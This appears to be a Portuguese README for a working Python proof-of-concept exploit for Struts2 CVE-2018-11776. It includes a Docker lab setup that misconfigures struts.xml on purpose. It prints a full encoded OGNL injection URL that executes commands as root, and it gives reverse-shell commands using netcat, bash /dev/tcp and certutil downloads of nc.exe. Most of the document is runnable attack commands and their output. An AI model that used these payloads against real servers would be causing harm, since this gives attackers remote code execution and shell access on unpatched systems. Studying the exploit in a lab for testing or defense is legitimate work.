
Teste em Python funcional e PoC para CVE-2018-11776, inclui laboratório Docker
hook-s3c (github.com/hook-s3c), @hook_s3c no twitter
Teste e PoC funcionais em Python para a CVE-2018-11776, originalmente publicados em; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
Man Yue Mo, da Semmle, divulgou uma vulnerabilidade de RCE no Struts2, entregue em um payload codificado no caminho da URL de uma requisição.
As versões afetadas são 2.3 até 2.3.34 e 2.5 até 2.5.16.
A configuração padrão não é vulnerável, mas se estiver mal configurada... F.
O exploit funcionará perfeitamente com o container docker criado para o cve-2017-5638 (struts2-showcase-2.3.12)
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
adicione a configuração abaixo;
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
e também;
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
reinicie seu tomcat e/ou container
$ /usr/local/tomcat/bin/shutdown.sh
teste a url para ver se ocorrem um redirecionamento e uma avaliação;
com o script de teste;
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
deixe sua máquina pronta para aceitar a reverse shell;
$ netcat -lvp 31337
execute o script;
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# now pop that shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
substitua 32771 pela porta exposta do seu container
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
Todas as requisições com uma barra / falharão porque o Tomcat bloqueia ativamente essas barras; talvez seja necessário contornar isso, por exemplo, usando variáveis de ambiente para /bin/bash como $SHELL no exemplo acima.
Com isso em mente, a flag /c do Windows não funcionará como esperado. Só testei isso no container docker.
Graças a @Menin_TheMiddle por mostrar que o problema da barra / pode ser resolvido; o código agora suporta barras / e, portanto, um reverse shell sem netcat via bash agora também é possível, além de agora suportar instâncias Windows (não testado).
Atualize seu Struts ou simplesmente não o use.
Acho que você sempre pode vender produtos de fraude de identidade se tiver uma violação e todos os detalhes dos seus clientes forem vazados! (você sabe quem é, escória absoluta)
Agradecimentos a;
um salve para vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces